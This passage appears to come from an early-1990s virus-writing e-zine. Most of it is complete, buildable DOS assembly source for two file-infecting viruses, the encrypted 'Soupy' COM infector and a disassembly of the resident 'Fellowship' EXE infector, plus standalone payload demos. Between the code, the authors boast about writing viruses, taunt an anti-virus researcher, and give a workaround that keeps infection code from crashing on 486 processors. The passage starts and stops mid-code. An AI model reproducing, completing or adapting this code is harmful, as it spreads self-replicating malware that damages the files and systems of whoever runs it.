word ptr [bx],0 + lodsw + loop code_loop + +start_code: ; get delta + call get_delta +get_delta: + pop bp + sub bp, offset get_delta + + xor ax, ax + mov ds, ax + + les ax, ds:[24h*4] ; Load Int 24 Entry + + mov word ptr Cs:[offset I_24+2+bp], es ; Save it + mov word ptr Cs:[offset I_24+bp], ax + + lea dx, Cs:[offset int_24h_entry+bp] ; Place new one + mov word ptr ds:[24h*4], dx + mov word ptr ds:[92h], cs + + push cs + push cs + pop ds + pop es + + cld ; Restore COM + mov cx, 3 + mov di, 100h + lea si, [bp+first_3] + rep movsb + + lea dx, [bp+newDTA] ; Set Up New DTA + mov ah, 1ah + int 21h + + lea dx, [bp+com_mask] ; Find First *.COM + mov ah, 4eh +find_loop: + mov cx, 7 + int 21h + jc done_infecting ; If Error, Exit + + mov ax, 3d00h ; Open File for Read + lea dx, [bp+newDTA+1Eh] + int 21h + jc find_next ; Find another + + xchg ax, bx ; Handle in BX + + mov ah, 3fh ; Read File + mov cx, 3 + lea dx, [bp+buffer] + int 21h + + mov ah, 3eh + int 21h + + cmp word ptr [bp+newDTA+1Eh], 'OC' ; Command.Com? + je find_next + + cmp word ptr [bp+newDTA+1Ah], (65535-(heap_end - start_code)) + ja find_next ; too big + + cmp word ptr [bp+newDTA+1Ah], 300h + jb find_next ; too little bitty + + mov ax, word ptr [bp+newDTA+1Ah] + push ax + sub ax, (end_code - decrypt) + 3 ; correct JMP + cmp ax, word ptr [bp+buffer+1] + je find_next ; not to end! + jmp infect + +find_next: + mov ah, 4fh + jmp find_loop + +done_infecting: + mov ah, 1ah + mov dx, 0080h + int 21h ; set up old DTA + + pop ax + + xor ax,ax + push ax + pop ds + les ax, ds:[08h*4] + push cs + pop ds + + mov word ptr [Old08+Bp], Ax + mov word ptr [Old08+2+Bp], Es + add ax, ((GetOut-1)-Int_08_Handler) + mov bx, ax + cmp word ptr Es:[Bx], 0EA58h + je quit + push cs + pop es + + cmp byte ptr [Counter+Bp], 0ah + jle quit + + lea Si, [Offset Int_08_Handler+Bp] ; copy us + mov Di, 0100h + mov Cx, Offset End_Handler-Offset Int_08_Handler + rep MovSb + + xor ax, ax ; interrupt table + mov ds, ax + cli + mov ax, 100h + mov word ptr Ds:[08h*4], ax + mov word ptr Ds:[08h*4+2], cs + sti + + push cs + pop ds + push cs + + mov ah, 49h ; Deallocate Env. + mov bx, word ptr cs:[02ch] + mov es, bx + int 21h + pop es + + Mov ah, 9 + Lea dx, [Offset Bullshit+Bp] + Int 21h + + Mov Ax, 3100h + mov Dx, (((Offset End_Handler-Offset Int_08_Handler)+100h) / 16) + 1 + Int 21h + Int 20h + +Quit: + xor ax, ax + mov ds, ax + + mov bx, word ptr Cs:[offset I_24+bp] + mov es, word ptr Cs:[offset I_24+2+bp] + + mov word ptr ds:[24h*4], bx ; Restore int 24h + mov word ptr ds:[24h*4+2], es + + push cs + push cs + pop ds + pop es + + mov dx, 100h ; We Are Done! + jmp dx + +infect: + cld + lea si, [bp+buffer] + lea di, [bp+first_3] + push si + mov cx, 3 + rep movsb ; save original first three bytes + pop di ; now we write to the buffer... + mov al, 0e9h ; change first three bytes of target file + stosb ; to jump to the end, which will be the + pop ax ; first byte of the viral code. + sub ax, 3 ; correct for the jump opcode size + stosw ; and put the displacement at [DI]. + + xor cx, cx + lea dx, [bp+newDTA+1Eh] + mov ax, 4301h ; set attributes to nothing + int 21h + + mov ah, 3dh + mov al, 2 ; read/write + int 21h + xchg ax,bx ; ok, we're gonna be boring and use XCHG + + mov ah, 40h ; bx = filehandle + mov cx, 3 + lea dx, [bp+buffer] + int 21h ; write 3 bytes at buffer to file + + mov ax, 4202h ; LSEEK from end of file + xor cx, cx ; seek 0 bytes from end + xor dx, dx ; set up for copying the virus + int 21h + + push bx +get_new_code: ; get new encryption word + mov bx, 40h + mov es, bx + mov bx, 6Ch + mov dx, word ptr es:[bx] ; dx = encryption_word + or dx, dx ; dx == 0? (no effect) + jz get_new_code ; nah, get a new one + mov word ptr [bp+code_loop+2], dx + pop bx + push cs + pop es + +copy_code: + cld + push ax + + lea di, [bp+temp] + mov al, 53h ; push bx + stosb + + lea si, [bp+decrypt] + mov cx, start_code-decrypt ; copy the code unaltered first + push si + push cx + rep movsb ; copy decrypt + lea si, [bp+write] + mov cx, end_write-write + rep movsb ; copy write + pop cx + pop si + rep movsb ; copy decrypt again + mov ax, 0C35Bh ; POP BX, retn + stosw + pop ax ; ax = filesize + +patch_bx_offset: + mov dx, word ptr [bp+decrypt+1] ; dx = offset start_code rel 100h + sub dx, bp + sub dx, 3 + add dx, ax ; add filesize to offset + mov word ptr [bp+decrypt+1], dx ; patch it + + inc byte ptr [bp+counter] + call temp + +finish_infection: + mov ax, 5701h + mov cx, word ptr [bp+newDTA+16h] ; cx = file time + mov dx, word ptr [bp+newDTA+18h] ; dx = file date + int 21h + xor cx, cx + mov ax, 4301h + mov cl, byte ptr [bp+newDTA+15h] ; cl = attributes + lea dx, [bp+newDTA+1Eh] + int 21h + + mov ah, 3eh + int 21h + jmp done_infecting + +write: + pop bx + mov ah, 40h + mov cx, end_code - decrypt + lea dx, [bp+decrypt] + int 21h + push bx +end_write: + +Int_24h_Entry Proc Far + Mov Ax, 3 ; Process Terminate + Iret ; Do a LOT, Eh? + EndP + +Int_08_Handler Proc Far + Push Ax + Push Bx + Push Cx + Push Dx + Push Si + Push Di + Push Bp + Push Es + Push Ds + + Dec Word Ptr Cs:[TCounter] + Jz Do_It + +LeaveRite: + Pop Ds + Pop Es + Pop Bp + Pop Di + Pop Si + Pop Dx + Pop Cx + Pop Bx + Pop Ax + +GetOut: + Db 0eah ; JMP Far PTR +Old08 Dd ? + +_Iet Db 1 +_Counter Dw 1092 + +Do_It: + Push Cs + Push Cs + Pop Es + Pop Ds + + Mov Word Ptr Cs:[TCounter], 1092 + + Mov Si, Start_Chain + Xor Cx, Cx + Mov Cl, Byte Ptr Cs:[Iet] + Xor Ax, Ax +Chain_Loop: + LodSb + Add Si, Ax + Loop Chain_Loop + + LodSb + Xor Cx, Cx + Mov Cl, Al + + XChg Bp, Si + Mov Ah, 0fh + Int 10h + + Mov Ax, 1300h + Mov Bx, 000Fh + Xor Dx, Dx + Int 10h + Inc Byte Ptr Cs:[Iet] + Mov Cx, 50 +C2: + Push Cx + Mov Cx, 0ffffh +RP: + Loop RP + Pop Cx + Loop C2 + + Cmp Byte Ptr Cs:[Iet], 8 + Je Quonto + Jmp LeaveRite +Quonto: + Cli + Jmp $ + EndP + +_Start_Chain: +db 0 +db 30, 'Unsuspecting user, 12 o''clock!' +db 52, 'Get ready... ''cause... THERE''S A VIRUS IN YOUR SOUP!' +db 66, 'From the guys that brought you Lythyum, Radyum, and VioLite comes:' +db 61, 'The Soupy Virus, (k) 1992 VG Enterprises, 216/513/602/914/703' +db 36, 'By The Attitude Adjuster & AccuPunk!' +db 62, 'Hurry! Hire an Anti-Virus Professional! Increase Wallet Space!' +db 43, '...hmmm, ya'' know, I think I''ll halt now...' + +_End_Chain: +Start_Chain = (_Start_Chain - Int_08_Handler) + 100h +End_Chain = (_End_Chain - Int_08_Handler) + 100h +Iet = (_Iet - Int_08_Handler) + 100h +TCounter = (_Counter - Int_08_Handler) +100h +End_Handler: + +; DATA SPACE + +name_date db 00,'[Soupy] The Attitude Adjuster & AccuPunk, VG',00 + db '08/23/92 to 12/02/92',00 +first_3 db 0CDh, 20h, 90h ; put return to dos opcodes at 100h +com_mask db '*.COM',0 +counter db 0 +BullShit db 'Bad command or file name',0dh,0ah,'$' +end_code = $ ; end of encryption and writing... + +buffer db 3 dup (?) +newDTA db 50 dup (?) +I_24 dd ? +temp: db ((start_code - decrypt)*2 + (end_write-write) + 5) dup (?) + +heap_end = $ ; marks end of heap + + end entry + ========================================================================== +; Very shitty and hurredly written stand alone demonstration for the Soupy +; virus, By The Attitude Adjuster. + +; Assemble with: +; tasm sbomb /m2 +; tlink sbomb /t + +; Wait for the messages! No delays have been removed! + +.model tiny +.code + + org 100h +entry: + mov ax, 3508h + int 21h + + mov word ptr [Old08], Bx + mov word ptr [Old08+2], Es + add ax, ((GetOut-1)-Int_08_Handler) + mov bx, ax + cmp word ptr Es:[Bx], 0EA58h + je quit + push cs + pop es + + mov dx, offset Int_08_Handler + mov ax, 2508h + int 21h + + Mov ah, 9 + Lea dx, [Offset Bullshit+Bp] + Int 21h + + mov Dx, Offset Heap_End + Int 27h +Quit: + Int 20h + +Int_08_Handler Proc Far + Push Ax + Push Bx + Push Cx + Push Dx + Push Si + Push Di + Push Bp + Push Es + Push Ds + + Dec Word Ptr Cs:[Counter] + Jz Do_It + +LeaveRite: + Pop Ds + Pop Es + Pop Bp + Pop Di + Pop Si + Pop Dx + Pop Cx + Pop Bx + Pop Ax + +GetOut: + Db 0eah ; JMP Far PTR +Old08 Dd ? + +Iet Db 1 +Counter Dw 1092 + +Do_It: + Push Cs + Push Cs + Pop Es + Pop Ds + + Mov Word Ptr Cs:[Counter], 1092 + + Mov Si, Offset Start_Chain + Xor Cx, Cx + Mov Cl, Byte Ptr Cs:[Iet] + Xor Ax, Ax +Chain_Loop: + LodSb + Add Si, Ax + Loop Chain_Loop + + LodSb + Xor Cx, Cx + Mov Cl, Al + + XChg Bp, Si + Mov Ah, 0fh + Int 10h + + Mov Ax, 1300h + Mov Bx, 000Fh + Xor Dx, Dx + Int 10h + Inc Byte Ptr Cs:[Iet] + Mov Cx, 50 +C2: + Push Cx + Mov Cx, 0ffffh +RP: + Loop RP + Pop Cx + Loop C2 + + Cmp Byte Ptr Cs:[Iet], 8 + Je Quonto + Jmp LeaveRite +Quonto: + Cli + Jmp $ + EndP + +Start_Chain: +db 0 +db 30, 'Unsuspecting user, 12 o''clock!' +db 52, 'Get ready... ''cause... THERE''S A VIRUS IN YOUR SOUP!' +db 66, 'From the guys that brought you Lythyum, Radyum, and VioLite comes:' +db 61, 'The Soupy Virus, (k) 1992 VG Enterprises, 216/513/602/914/703' +db 36, 'By The Attitude Adjuster & AccuPunk!' +db 62, 'Hurry! Hire an Anti-Virus Professional! Increase Wallet Space!' +db 43, '...hmmm, ya'' know, I think I''ll halt now...' +End_Chain: +End_Handler: + +BullShit db 'Bad command or file name',0dh,0ah,'$' +end_code = $ ; end of encryption and writing... + +heap_end = $ ; marks end of heap + + end entry + ========================================================================== + ======================= + Rapidly Approaching + By The Attitude Adjuster + ======================= + + Virulent Graffiti is rapidly approaching 1 year of life, amazing + that we could hold together that long, eh? We actually survived the summer, + the return of the school year... the fact that we were doing nothing, and + an abrupt name change, VG to VGVPO. + + Actually, I am approaching the 1 year mark on learning 80x86 + assembly... quite strange, a year later, to look back that the total shit + code that I was doing in WASM, and to see some of the things I was doing, + and actually calling viruses! + + On the personal level, I am quite happy with myself, and greatful + of the people like the Dark Avenger, Dark Angel, and others that have the + know-how and desire to help teach the world about virus writing. I am + amazed at the progress that I have made myself, both in virus writing, and + in programming in general... and especially that I have the highest poster + status on Digital Warfare Private (at least, when I wrote this...) + + On the group level, I feel deflated, but good... an idea that was + pushed onto me by The Fly, on March 14th, 1992, becoming the semi-large + thing that it has become today... really nice, if you ask me, but, then + again, who does... + + Now comes the question of what I'm going to do this year... We have + lots of things waiting in the wings for that little extra push to get them + going... a sub-stealth virus, a multipartite virus, and a little code + generator (not for generating viruses, but, for generating dazzingly boring + encryption and decryption routines, without actaully being a polymorphing + engine!)... hopefully, little side projects I have, like loaders, sound + routines, and such will fall into place, and we can grab a little ground in + the demo-group world as well... + + Big ideas for a kid from a small town in Ohio, eh? Maybe... maybe + not... Certainly, in Telcom, no one is there to ask my age, or for my + college degree... all I need to do is whip out a little code, throw the + reputation around a little... wire them a couple hund- err, you get what I + mean... It's all open to us, sounds fun, eh? + + Damn straight it is... + ======================== + The Confusion Ended? + By The Attitude Adjuster + ======================== + + In the end, we decided it would better if we began releasing our + research viruses to anti-virus professionals (bah!). I called Patricia + Hoffman's board, cringing at the thought of... Wildcat! (it just isn't + right without the !). I construct an account, promptly forgetting the + password I assigned to it, and, uploaded our old and useless COM infectors. + + After the gloriously short upload (9600 is great...), I left Patti + this little letter... + + =========================================================================== +From : T.A. ADJUSTER Number : 52 of 59 +To : PATRICIA HOFFMAN Date : 01/17/93 6:01pm +Subject : Uploads Reference : NONE +Read : 01/18/93 12:11pm (REPLIES) Private : NO +Conf : 002 - Virus Q & A (Open Msgs) + +I have uploaded to you some OLD VG viruses, as we are now doing TSR +COM/EXE infectors. Hopefully, when we move on to boot infectors, we +will remember to upload those here as well. + +In the meantime, please send these to whoever does research work for +you, as I'm sure it can't be you, I mean, you don't even know your own +name. + +Anyway, they all have DOC files with them, that are totally correct, +though I may have 'forgot' and left out a couple of features. None of +these viruses are intentionally distructive, just loads and loads of +fun. + +Anyway, if you want to be the index of ALL viruses, you better move to +place these in the index, as they are on our support boards, and can be +downloaded and placed active by anyone, though we as a group will not +release viruses into the wild. + +I thought I had an account on here earlier. Yeesh, I hope you didn't +delete it... anyway, I'd like to ask that you keep my account live, as +I enjoy downloading your fine VSUM publication. VG is too poor to +afford to register it, however. Could we get, maybe, a charity +subscription? + + +The Attitude Adjuster + =========================================================================== + + So... a few days later, I note this reply, when I log in to see if + the new VSUM is out yet... + + =========================================================================== +From : PATRICIA HOFFMAN Number : 54 of 59 +To : T.A. ADJUSTER Date : 01/18/93 12:15pm +Subject : Uploads Reference : 52 +Read : NO Private : NO +Conf : 002 - Virus Q & A (Open Msgs) + +Well, the only time I don't know my own name is when someone calls the +wrong "Patricia Hoffman" because they got the phone number from +Information or the phone book. My home phone number is unlisted, but +there are a couple of other Patricia Hoffman's in Silicon Valley as +well. If you are referring to a certain conference call of about 9-10 +months ago when 13 or so young men tried to contact me, they called the +WRONG Patricia Hoffman..... I was at home reading a novel, and didn't +know about the call until McAfee called and asked why I didn't speak to +the "young men". + =========================================================================== + + Well... interesting... the truth? Who knows... I'd kind of like to + talk to her, regardless... I just have nothing that dials alliance, and I + really would like to share the experience with others... + =============================== + 'Shit... What's wrong NOW!' + By The Attitude Adjuster + =============================== + + (Written in early January, pre-VioLite ][ and DWI release.) + + So, AccuPunk and I are hard at work, coding litle bits of drivel, + and our two main projects, DWI and VioLite ][. For some strange reason, + these viruses refused to work. We spent many hours in our protected-mode + debuggers tracking down the cause, but, it was finally my genius, and a + little work in DOS Debug that saved the day. + + The virus engines worked fine, the resident code in DWI being + okay, and the file-location code in VioLite2 being dandy. When traced thru + in both SoftIce and Debug, the viruses would work, but, yet, when ran from + a command line, or let loose with a Go instruction, my machine would crash + a horrible GPF death, while AccuPunk's would not. He has a 386DX, I have + a new 486SX, this is the key. + + Here is the root of the problem. + + =========================================================================== + Taken from 'An Introduction to Non-Overwriting Virii,' 40Hex-8 + + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[si+jmpsave+2],ax + add ax,word ptr cs:[si+stacksave+2] + cli ; Clear intrpts for stack manip. + mov sp,word ptr cs:[si+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 dd 0fff00000h ; Needed for carrier file +stacksave2 dd ? + =========================================================================== + + We were using this clip of DA code, mainly because it was the Right + Thing, and why try and improve on perfection. Alas, this code is the root + of all the problems. + + I assemble the following code: + + =========================================================================== +.model tiny +.code + org 100h + +start: + mov byte ptr [start], 0cch ; place int 3 at 100h + + mov ax, cs ; codeseg in ax + + add word ptr [JumpAdd+2], ax ; add to jmp far ptr + + db 0eah +JumpAdd dd 00000100h ; cs:0100 + + end start + =========================================================================== + + It crashes miserably on my machine, but not on my 8086. I now know + why. Hurredly, I recoded the thing to look like this: + + =========================================================================== +.model tiny +.code + org 100h + +start: + mov byte ptr [start], 0cch ; place int 3 at 100h + + mov ax, cs ; codeseg in ax + + add word ptr [JumpAdd+2], ax ; add to jmp far ptr + + jmp short aftajump + +PreJump: + db 0eah +JumpAdd dd 00000100h ; cs:0100 +AftaJump: + jmp short prejump + + end start + =========================================================================== + + This time, the code works, I have my cuprit, my processor, and it's + blasted 25 byte prefetch. + + Let me explain. When we affected the JMP FAR offset in memory, we + did not affect it in the processor, which pre-fetches the next 25 bytes in + memory. The JMP around the code causes the prefetch to be reloaded, and + allows the jump to work. + + So, this means, an entire group of viruses will not work on newer hi + end machines. I tested this, all viruses I ran that had the DA engine in + them crashed and burned on every 486 that I tested them on. Any 80486 that + is exactly Intel specs (and they all will be for a while, as only Intel is + making them) will crash on this code. + + The solution? Here's mine, it may not be pretty, but, it works. + + =========================================================================== + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[si+stacksave+2], ax + + cli ; Clear intrpts for stack manip. + mov sp,word ptr cs:[si+stacksave] + mov ss,ax + sti + + mov bx, word ptr cs:[si+jmpsave] + add bx, ax + push bx + + mov bx, word ptr cs:[si+jmpsave+2] + add bx, ax + push bx + + retf +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 dd 0fff00000h ; Needed for carrier file +stacksave2 dd ? + =========================================================================== + + This is the final code we put into DWI and VioLite2. Not pretty, but + the damn thing works. With no self-modifying code that relies on the + prefetch, there isn't an easy way for this to crash... + ====================================== + Disassembly of the Fellowship Virus + By The Attitude Adjuster + ====================================== + + Well, I thought that I should just continue disassembling whatever + I could find, as part of that 'keeping up my skills.' I found this, + decided that it was a piece of uneventful and thouroghly boring, and none + the more bug free code, and decided that you should have it... + + It seems to have a semi-unique way of organization during the + memory residency... the loading of the host again, etc... also, there is + a tiny bit of debugger resistance, but, this tactic could be expanded + upon to create huge amounts of hell for non-protected mode debuggers. + + Really, this thing shouldn't work... if it follows theory, it + should eat all available handles on the system after a few (more for us + with higher FILES= settings) infections... + + This is what Patti says... notice, this is an EXE infector, yet one + of the symptoms is COM growth! Wild... I never found that subroutine while + I was disassembling... + + ========================================================================== + Virus Name: Fellowship + Aliases: 1022, Better World, Fellow + V Status: Rare + Discovered: July, 1990 + Isolated: Australia + Symptoms: TSR; .COM & .EXE file growth + Origin: Malaysia + Eff Length: 1,019 - 1,027 Bytes + Type Code: PRsE - Parasitic Resident .EXE Infector + Detection Method: ViruScan, F-Prot, NAV, IBM Scan, AVTK, Novi, Sweep, + CPAV, UTScan, VirexPC, Gobbler2, VBuster, AllSafe, + ViruSafe, UTScan, Trend, Iris, VNet, Panda, VET, + Detect+, IBMAV, DrVirus, Vi-Spy, + NShld, LProt, CPAV/N, Sweep/N + Removal Instructions: CleanUp, F-Prot, NAV, or delete infected files + + General Comments: + The Fellowship or 1022 virus was isolated in Australia in July 1990. + Fellowship is a memory resident generic infector of .EXE files. It + does not infect .COM or overlay files. + + The first time a program infected with the Fellowship virus is + executed, the virus will install itself memory resident as a 2,048 + byte TSR in low system memory. Available free memory will be + decreased by a corresponding 2,048 bytes. Interrupt 21 will also + now be controlled by the virus. + + After the virus is memory resident, the virus will infect .EXE files + when they are executed. Infected .EXE files will increase in size + by between 1,019 and 1,027 bytes. The virus's code will be located + at the end of infected files. + + Infected files will contain the following text strings very close to + the end of the file: + + "This message is dedicated to + all fellow PC users on Earth + Toward A Better Tomorrow + And A Better Place To Live In" + + "03/03/90 KV KL MAL" + + This virus is believed to have originated in Kuala Lumpur, Malaysia. + ========================================================================== +; Disassembly of the Fellowship Virus, done by The Attitude Adjuster for +; Infectious Diseases Issue 3. + +; For a byte-for-byte matchup, assemble as follows: +; tasm fellow /m2 +; tlink fellow + +.model tiny +.code + org 000h +start: + mov ax, 0D000h ; RUTHERE call + int 21h + cmp bx, 1234h + jne installvirus ; if not... + + mov bx, es + add bx, 10h ; account for PSP + add word ptr cs:[oldcsip+2], bx ; add to CS + jmp dword ptr cs:[oldcsip] ; get there... + +ninthflag db 0 + +paramblock: ; need defs? get a + envsegment dw 0CE4h ; DOS manual... + cmdlineoffset db 80h, 00h + cmdlinesegment dw 12C9h + fcb1offset db 5Ch, 00h + fcb1segment dw 12C9h + fcb2offset db 6Ch, 00h + fcb2segment dw 12C9h + loadpoint dw 0 + +oldcsip dd 0FFF00000h + +installvirus: + cld ; !!! + cli + push es + + mov bx, es + add bx, 10h ; account for PSP + mov es, bx ; ES = 1st EXE Seg + + xor bx, bx + mov ds, bx ; DS = 0000 + + push word ptr ds:[0000] ; save ssi vector + push word ptr ds:[0002] ; save ssi vector + + mov word ptr ds:[0000], 0A5F3h ; set ssi vector + mov byte ptr ds:[0002], 0CFh ; 0CF00:0A5F3h + + xor si, si + mov di, si + + push cs + pop ds + + mov ax, 64h ; program entry + mov cx, endwrite-start ; zopy ieterations + pushf ; fake an interrupt + push es ; return to 1st seg + push ax + + db 0EAh ; jmp far ptr 0:0000 + db 00h, 00h, 00h, 00h + + ; on the fake interrupt call, control is transferred to 0000:0000, + ; which contains + + ; rep movsb + ; iret + + ; the movsb takes care of copying the virus to offset 0000 of the + ; 1st EXE segment, and then the iret returns the virus to the + ; entry point below! + +trueentry: + xor ax, ax + mov ds, ax + + pop word ptr ds:[0000] ; restore ssi vector + pop word ptr ds:[0002] + + sti ; finally... yeesh! + + pop es ; PSP segment + mov bx, 80h + mov ax, 4A00h ; decrease allocation + int 21h ; of PSP segment + + push cs + pop ds + mov ax, es + + mov cmdlinesegment, ax ; construct exec + mov fcb1segment, ax ; parameter block + mov fcb2segment, ax ; (see block above) + mov ax, es:[002Ch] + mov envsegment, ax + + mov ax, 3521h ; get int 21h vector + int 21h + + mov word ptr ds:[Old21], bx ; save vector + mov word ptr ds:[Old21+2], es + + mov dx, offset int_21h_entry ; set int 21h vectr + mov ax, 2521h + int 21h + + mov ah, 2Ah ; get date + int 21h + + cmp dh, 9 ; the ninth? + jne dontsetflag + or byte ptr cs:[ninthflag], 1 ; flop that flipper +dontsetflag: + cli + mov es, envsegment ; environment segmnt + xor di, di + mov cx, 0FFFFh + mov al, 0 + cld +searchloop: + repne scasb ; scan until we + cmp es:[di], al ; meet a dupe of + jne searchloop ; ourselves! + + mov dx, di + add dx, 3 + + push es ; DS = PSP segment + pop ds + + mov bx, cs ; stack in us + mov ss, bx ; might clear ints!! + mov es, bx + mov sp, 44Bh ; stack at 44bh + mov bx, offset paramblock + mov ax, 4B00h ; load + exec host + pushf ; fake int 21h + sti + call dword ptr cs:[Old21] + + mov es, cs:[envsegment] ; release memory + mov ax, 4900h + int 21h + + mov dx, 80h ; terminate and keep + mov ax, 3100h ; us resident! + int 21h + +filesave dw 469h, 74Bh +old24 dw 156h, 74Bh +savedvalu1 dw 8E0h +savedvalu2 dw 0 +oldattr dw 20h +readbuffer db 4Dh + db 5Ah, 0DBh, 00h, 07h, 00h, 00h + db 00h, 20h, 00h, 00h, 00h, 0FFh + db 0FFh, 00h, 00h, 00h, 00h +negativechksm dw 1990h + db 00h, 00h, 6Eh, 00h, 3Eh + db 39 dup (0) + +int_24h_entry: + xor al, al + iret + +int_21h_entry: + cmp ax, 0D000h ; RUTHERE? + jne checkforexecute ; No... + mov bx, 1234h + iret + +checkforexecute: + cmp ax, 4B00h ; load + execute? + je yeahyeahbaby ; yepparoo + + db 0EAh ; jmp far orig 21h +old21 db 9Eh, 10h, 16h, 01h + + dw ?, ? ; ?!? + +yeahyeahbaby: + push bp ; save caller's + push ax ; registers + push bx + push cx + push dx + push di + push si + push es + push ds + test byte ptr cs:[ninthflag], 1 ; test that flipper + jz notflagged + jmp itstheninthhoney + +notflagged: + mov word ptr cs:[filesave], dx ; save file seg:ofs + mov word ptr cs:[filesave+2], ds + mov si, dx + + mov ah, 19h ; get default drive + int 21h + mov dl, al ; drive code in DL + + cmp byte ptr [si+1], 3Ah ; 2nd letter a ":" + jne notonanotherdisk + + mov dl, byte ptr [si] ; get letter + sub dl, 'A' ; reduce to d-code +notonanotherdisk: + inc dl ; add 1, differing fc + mov ah, 36h ; get free space + int 21h + + cmp ax, 0FFFFh ; error? + je getthefuckback + + xor dx, dx + mul bx ; avail. sectors + mul cx ; avail. bytes + + cmp ax, 7D0h ; enough left? + jae enoughleftdoit + + or dx, dx ; more than 65535? + jnz enoughleftdoit + +getthefuckback: + pop ds ; restore caller's + pop es ; registers + pop si + pop di + pop dx + pop cx + pop bx + pop ax + pop bp + mov ax, 4B00h + jmp dword ptr cs:[Old21] ; go to old 21h + +enoughleftdoit: + cld + les di, dword ptr cs:[filesave] ; ES:DI = File seg:ofs + mov cx, 0FFFFh + mov al, 0 + repne scasb ; hunt out end + + mov al, es:[di-2] + and al, 5Fh ; capitalize + cmp al, 45h ; 'E' + jne getthefuckback ; non an EXE! + + lds dx, dword ptr cs:[filesave] ; DS:DX = File seg:ofs + mov ax, 3D00h ; open file + int 21h + jc getthefuckback + + mov bx, ax ; !!! + + push cs + pop ds + + mov dx, offset readbuffer ; read exe header + mov cx, 1Ch + mov ax, 3F00h + int 21h + jc closeitupandleave ; oh, the sins... + + cmp word ptr [negativechksm], 1990h ; infected? + jne getonwithit +closeitupandleave: + mov ax, 3E00h ; close file + int 21h + jmp short getthefuckback + +getonwithit: + mov ax, 3524h ; get int 24h vector + int 21h + + mov word ptr [Old24], bx ; save it + mov word ptr [Old24+2], es + + mov dx, offset int_24h_entry ; set int 24f vector + mov ax, 2524h + int 21h + + lds dx, dword ptr filesave ; DS:DX = file seg:ofs + mov ax, 4300h + int 21h ; get attributes + jc whatapity ; to err is computer + + mov word ptr cs:[oldattr], cx ; save attributes + + and cx, 0FEh ; blank the boring + mov ax, 4301h + int 21h ; change attributes + jnc nowramitinthere +whatapity: + lds dx, dword ptr cs:[Old24] ; restore int 24h + mov ax, 2524h ; vector + int 21h + jmp getthefuckback + +nowramitinthere: + cld + sti + + lds dx, dword ptr cs:[filesave] ; DS:DX = file seg:ofs + mov ax, 3D02h ; open read/write + int 21h + jc whatapity + + mov bx, ax ; !!! + + push cs + pop ds + + mov cx, 200h ; 512 (bytes per par) + + mov si, offset readbuffer ; header! + + mov ax, [si+16h] ; initial CS + mov word ptr [oldcsip+2], ax + + mov ax, [si+14h] ; initial IP + mov word ptr [oldcsip], ax + + mov ax, [si+4] ; paragraphs + cmp word ptr [si+2], 0 ; bizzare quirk + je notquirky + dec ax +notquirky: + mul cx ; dx:ax = bytes + + add ax, [si+2] ; add modulo + adc dx, 0 + + add ax, 0Fh ; add 16 mo' + adc dx, 0 + + and ax, 0FFF0h + + mov word ptr [savedvalu1], ax ; save new CS:IP + mov word ptr [savedvalu2], dx ; (still in bytes!!) + + add ax, endwrite-start ; add virus length + adc dx, 0 + + div cx ; cx in paragraphs + or dx, dx + jz notquirkier + inc ax ; quirk again +notquirkier: + mov [si+4], ax ; replace paragraphs + mov [si+2], dx ; replace modulo + + mov ax, word ptr [savedvalu1] ; load saved CS:IP + mov dx, word ptr [savedvalu2] ; (still in bytes!!) + + mov cx, 10h ; paragraphs + div cx + + sub ax, [si+8] ; loose header size + + mov [si+16h], ax ; replace IP + mov ax, 0 + mov [si+14h], ax ; replace cs + mov word ptr [si+12h], 1990h ; show as infected + + mov dx, word ptr [savedvalu1] ; move to end as + mov cx, word ptr [savedvalu2] ; shown by header + mov ax, 4200h + int 21h + + mov cx, endwrite-start ; write the virus! + mov dx, offset ds:[0] + mov ax, 4000h ; !!! + int 21h + jc thisistheendmyonlyfriend ; an error, this far? + + xor cx, cx ; seek top + mov dx, cx ; !!! + mov ax, 4200h + int 21h + + mov dx, offset readbuffer ; write buffer + mov cx, 1Ch + mov ax, 4000h + int 21h + +thisistheendmyonlyfriend: + mov ax, 3E00h ; close file + int 21h + + lds dx, dword ptr [filesave] ; DS:DX = File Seg:ofs + + mov cx, cs:[oldattr] ; restore attribs + mov ax, 4301h + int 21h + jmp whatapity ; restore int 24h + +savemode db 0 +charcolor db 0 + +nicemessage1 db 'This message is dedicated to $' +nicemessage2 db 'all fellow PC users on Earth $' +nicemessage3 db ' Towards A Better Tomorrow $' +nicemessage4 db 'And A Better Place To Live In $' + +itstheninthhoney: + push cs + pop ds + mov ah, 0Fh ; get video mode + int 10h + + mov byte ptr [savemode], al ; save mode + + mov ax, 5 ; set mode 40x25 + int 10h + + mov byte ptr [charcolor], 1 + + mov dh, 9 + call setcursor + + mov dx, offset nicemessage1 + call printstring + + mov dh, 0Ah + call setcursor + + mov dx, offset nicemessage2 + call printstring + + mov byte ptr [charcolor], 2 + + mov dh, 0Ch + call setcursor + + mov dx, offset nicemessage3 + call printstring + + mov dh, 0Dh + call setcursor + + mov dx, offset nicemessage4 + call printstring + + mov cx, 0FFFFh ; kill time +killloop: + lodsb + loop killloop + + xor ax, ax ; wait fo' a key + int 16h + + mov al, byte ptr [savemode] ; restore old mode + mov ah, 0 ; on the vid + int 10h + jmp getthefuckback ; GO HOME! + +printstring: + cld + mov si, dx +printloop: + lodsb + cmp al, '$' + je alldoneprinting ; end of string + + mov ah, 0Eh ; write a byte + mov bh, 0 ; to tha' vid + mov bl, byte ptr [charcolor] + int 10h + + jmp short printloop +alldoneprinting: + ret + +setcursor: + mov dl, 5 ; set cursor pos + mov ah, 2 + mov bh, 0 + int 10h + ret + + db ' 03/03/90 KV KL MAL ' ; whee... +endwrite: + end start + ========================================================================== +; Stand alone demonstration of the Fellowship Virus activation routine. + +; Assemble with: +; tasm fbomb /m2 +; tlinl fbomb /t + +.model tiny +.code + org 0100h +start: + jmp short itstheninthhoney + +savemode db 0 +charcolor db 0 + +nicemessage1 db 'This message is dedicated to $' +nicemessage2 db 'all fellow PC users on Earth $' +nicemessage3 db ' Towards A Better Tomorrow $' +nicemessage4 db 'And A Better Place To Live In $' + +itstheninthhoney: + push cs + pop ds + mov ah, 0Fh ; get video mode + int 10h + + mov byte ptr [savemode], al ; save mode + + mov ax, 5 ; set mode 40x25 + int 10h + + mov byte ptr [charcolor], 1 + + mov 